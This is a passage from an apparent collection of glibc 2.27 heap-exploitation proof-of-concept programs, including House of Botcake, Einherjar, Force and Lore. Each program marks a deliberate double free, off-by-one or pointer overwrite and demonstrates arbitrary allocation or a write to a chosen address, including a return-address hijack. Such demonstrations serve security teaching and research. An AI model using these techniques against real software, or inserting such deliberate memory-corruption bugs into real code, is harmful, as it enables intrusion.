    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long long stack_var;\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", 8+(char *)&stack_var);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\t/*VULNERABILITY*/\n\t*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert(p == 8+(char *)&stack_var);\n\t// assert((long)__builtin_return_address(0) == *(long *)p);\n}\n"
  },
  {
    "path": "glibc_2.27/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n  setbuf(stdout, NULL);\n\n  printf(\n    \"\\n\"\n    \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n    \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n    \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n    \"a large unsigned value to the stack.\\n\\n\"\n  );\n\n  // Allocate 14 times so that we can free later.\n  char* ptrs[14];\n  size_t i;\n  for (i = 0; i < 14; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n    \"(More than 7 times works fine too.)\\n\\n\"\n  );\n\n  // Fill the tcache.\n  for (i = 0; i < 7; i++) {\n    free(ptrs[i]);\n  }\n\n  char* victim = ptrs[7];\n  printf(\n    \"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n    \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n    \"already full, it will go in the fastbin.\\n\\n\",\n    victim\n  );\n  free(victim);\n\n  printf(\n    \"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n    \"in the fastbin. If the stack address that we want to overwrite is not zero\\n\"\n    \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n    \"cause a segmentation fault. But if the value on the stack is zero then\\n\"\n    \"a single free is sufficient.\\n\\n\"\n  );\n\n  // Fill the fastbin.\n  for (i = 8; i < 14; i++) {\n    free(ptrs[i]);\n  }\n\n  // Create an array on the stack and initialize it with garbage.\n  size_t stack_var[6];\n  memset(stack_var, 0xcd, sizeof(stack_var));\n\n  printf(\n    \"The stack address that we intend to target: %p\\n\"\n    \"It's current value is %p\\n\",\n    &stack_var[2],\n    (char*)stack_var[2]\n  );\n\n  printf(\n    \"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n    \"to overwrite the next pointer at address %p\\n\\n\",\n    victim\n  );\n\n  //------------VULNERABILITY-----------\n\n  // Overwrite linked list pointer in victim.\n  *(size_t**)victim = &stack_var[0];\n\n  //------------------------------------\n\n  printf(\n    \"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\"\n  );\n\n  // Empty tcache.\n  for (i = 0; i < 7; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"Let's just print the contents of our array on the stack now,\\n\"\n    \"to show that it hasn't been modified yet.\\n\\n\"\n  );\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  printf(\n    \"\\n\"\n    \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n    \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n    \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n    \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n    \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n    \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n    \"pointer is written to the stack.\\n\"\n    \"\\n\"\n    \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n    \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n    \"That's because the value on the stack is treated as a next pointer in the\\n\"\n    \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n    \"\\n\"\n    \"The contents of our array on the stack now look like this:\\n\\n\"\n  );\n\n  malloc(allocsize);\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  char *q = malloc(allocsize);\n  printf(\n    \"\\n\"\n    \"Finally, if we malloc one more time then we get the stack address back: %p\\n\",\n    q\n  );\n\n  assert(q == (char *)&stack_var[2]);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    puts(\"Allocating a chunk for later consolidation\");\n    intptr_t *prev = malloc(0x100);\n    puts(\"Allocating the victim chunk.\");\n    intptr_t *a = malloc(0x100);\n    printf(\"malloc(0x100): a=%p.\\n\", a); \n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n    \n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n    \n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n    \n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n    \n    // simple tcache poisoning\n    puts(\"Launch tcache poisoning\");\n    puts(\"Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk\");\n    intptr_t *b = malloc(0x120);\n    puts(\"We simply overwrite victim's fwd pointer\");\n    b[0x120/8-2] = (long)stack_var;\n    \n    // take target out\n    puts(\"Now we can cash out the target chunk.\");\n    malloc(0x100);\n    intptr_t *c = malloc(0x100);\n    printf(\"The new chunk is at %p\\n\", c);\n    \n    // sanity check\n    assert(c==stack_var);\n    printf(\"Got control on target/stack!\\n\\n\");\n    \n    // note\n    puts(\"Note:\");\n    puts(\"And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim\");\n    puts(\"In that case, once you have done this exploitation, you can have many arbitary writes very easily.\");\n\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n/*\n   Credit to st4g3r for publishing this technique\n   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()\n   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. \n*/\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar!\\n\");\n\tprintf(\"Tested in Ubuntu 18.04.4 64bit.\\n\");\n\tprintf(\"This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* d;\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a'\\n\");\n\ta = (uint8_t*) malloc(0x38);\n\tprintf(\"a: %p\\n\", a);\n   \n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n\", real_a_size);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n\");\n\tprintf(\"However, you can also create the chunk in the heap or the bss, as long as you know its address\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\tprintf(\"(although we could do the unsafe unlink technique here in some scenarios)\\n\");\n\n\tsize_t fake_chunk[6];\n\n\tfake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size\n\tfake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin\n\tfake_chunk[2] = (size_t) fake_chunk; // fwd\n\tfake_chunk[3] = (size_t) fake_chunk; // bck\n\tfake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize\n\tfake_chunk[5] = (size_t) fake_chunk; //bck_nextsize\n\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", fake_chunk);\n\tprintf(\"prev_size (not used): %#lx\\n\", fake_chunk[0]);\n\tprintf(\"size: %#lx\\n\", fake_chunk[1]);\n\tprintf(\"fwd: %#lx\\n\", fake_chunk[2]);\n\tprintf(\"bck: %#lx\\n\", fake_chunk[3]);\n\tprintf(\"fwd_nextsize: %#lx\\n\", fake_chunk[4]);\n\tprintf(\"bck_nextsize: %#lx\\n\", fake_chunk[5]);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0x4f8);\n\tint real_b_size = malloc_usable_size(b);\n\n\tprintf(\"\\nWe allocate 0x4f8 bytes for 'b'.\\n\");\n\tprintf(\"b: %p\\n\", b);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\t/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/\n\n\tprintf(\"\\nb.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0x500) | prev_inuse = 0x501\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\t/* VULNERABILITY */\n\ta[real_a_size] = 0; \n\t/* VULNERABILITY */\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"This is easiest if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\tprintf(\"If it had been modified, we would need a fake chunk inside \"\n\t\t   \"b where it will try to consolidate the next chunk\\n\");\n\n\t// Write a fake prev_size to the end of a\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of a so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", b-sizeof(size_t)*2, fake_chunk, fake_size);\n\t*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;\n\n\t//Change the fake chunk's size to reflect b's new prev_size\n\tprintf(\"\\nModify fake chunk's size to reflect b's new prev_size\\n\");\n\tfake_chunk[1] = fake_size;\n\n\t// free b and it will consolidate with our fake chunk\n\tprintf(\"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\\n\");\n\tfree(b);\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", fake_chunk[1]);\n\n\t//if we allocate another chunk before we free b we will need to \n\t//do two things: \n\t//1) We will need to adjust the size of our fake chunk so that\n\t//fake_chunk + fake_chunk's size points to an area we control\n\t//2) we will need to write the size of our fake chunk\n\t//at the location we control. \n\t//After doing these two things, when unlink gets called, our fake chunk will\n\t//pass the size(P) == prev_size(next_chunk(P)) test. \n\t//otherwise we need to make sure that our fake chunk is up against the\n\t//wilderness\n\t//\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\td = malloc(0x200);\n\tprintf(\"Next malloc(0x200) is at %p\\n\", d);\n\n\tassert((long)d == (long)&fake_chunk[2]);\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_force.c",
    "content": "/*\n\n   This PoC works also with ASLR enabled.\n   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.\n   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum \n   ( http://phrack.org/issues/66/10.html )\n\n   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04\n\n*/\n\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nchar bss_var[] = \"This is a string that we want to overwrite.\";\n\nint main(int argc , char* argv[])\n{\n\tfprintf(stderr, \"\\nWelcome to the House of Force\\n\\n\");\n\tfprintf(stderr, \"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\\n\");\n\tfprintf(stderr, \"The top chunk is a special chunk. Is the last in memory \"\n\t\t\"and is the chunk that will be resized when malloc asks for more space from the os.\\n\");\n\n\tfprintf(stderr, \"\\nIn the end, we will use this to overwrite a variable at %p.\\n\", bss_var);\n\tfprintf(stderr, \"Its current value is: %s\\n\", bss_var);\n\n\n\n\tfprintf(stderr, \"\\nLet's allocate the first chunk, taking space from the wilderness.\\n\");\n\tintptr_t *p1 = malloc(256);\n\tfprintf(stderr, \"The chunk of 256 bytes has been allocated at %p.\\n\", p1 - 2);\n\n\tfprintf(stderr, \"\\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\\n\");\n\tint real_size = malloc_usable_size(p1);\n\tfprintf(stderr, \"Real size (aligned and all that jazz) of our allocated chunk is %ld.\\n\", real_size + sizeof(long)*2);\n\n\tfprintf(stderr, \"\\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\\n\");\n\n\t//----- VULNERABILITY ----\n\tintptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));\n\tfprintf(stderr, \"\\nThe top chunk starts at %p\\n\", ptr_top);\n\n\tfprintf(stderr, \"\\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\\n\");\n\tfprintf(stderr, \"Old size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;\n\tfprintf(stderr, \"New size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t//------------------------\n\n\tfprintf(stderr, \"\\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\\n\"\n\t   \"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\\n\"\n\t   \"overflow) and will then be able to allocate a chunk right over the desired region.\\n\");\n\n\t/*\n\t * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):\n\t * new_top = old_top + nb\n\t * nb = new_top - old_top\n\t * req + 2sizeof(long) = new_top - old_top\n\t * req = new_top - old_top - 2sizeof(long)\n\t * req = dest - 2sizeof(long) - old_top - 2sizeof(long)\n\t * req = dest - old_top - 4*sizeof(long)\n\t */\n\tunsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;\n\tfprintf(stderr, \"\\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\\n\"\n\t   \"we will malloc %#lx bytes.\\n\", bss_var, ptr_top, evil_size);\n\tvoid *new_ptr = malloc(evil_size);\n\tfprintf(stderr, \"As expected, the new pointer is at the same place as the old top chunk: %p\\n\", new_ptr - sizeof(long)*2);\n\n\tvoid* ctr_chunk = malloc(100);\n\tfprintf(stderr, \"\\nNow, the next chunk we overwrite will point at our target buffer.\\n\");\n\tfprintf(stderr, \"malloc(100) => %p!\\n\", ctr_chunk);\n\tfprintf(stderr, \"Now, we can finally overwrite that value:\\n\");\n\n\tfprintf(stderr, \"... old string: %s\\n\", bss_var);\n\tfprintf(stderr, \"... doing strcpy overwrite with \\\"YEAH!!!\\\"...\\n\");\n\tstrcpy(ctr_chunk, \"YEAH!!!\");\n\tfprintf(stderr, \"... new string: %s\\n\", bss_var);\n\n\tassert(ctr_chunk == bss_var);\n\n\n\t// some further discussion:\n\t//fprintf(stderr, \"This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\\n\\n\");\n\t//fprintf(stderr, \"This because the main_arena->top pointer is setted to current av->top + malloc_size \"\n\t//\t\"and we \\nwant to set this result to the address of malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\\n\\n\");\n\t//fprintf(stderr, \"The av->top after this big malloc will be setted in this way to malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),\"\n\t//\t\"\\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\\n\\n\");\n\n\t//fprintf(stderr, \"The large chunk with evil_size has been allocated here 0x%08x\\n\",p2);\n\t//fprintf(stderr, \"The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\\n\",malloc_got_address);\n\n\t//fprintf(stderr, \"This last malloc will be served from the remainder code and will return the av->top+8 injected before\\n\");\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 18.04.5 - 64bit - glibc-2.27\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake 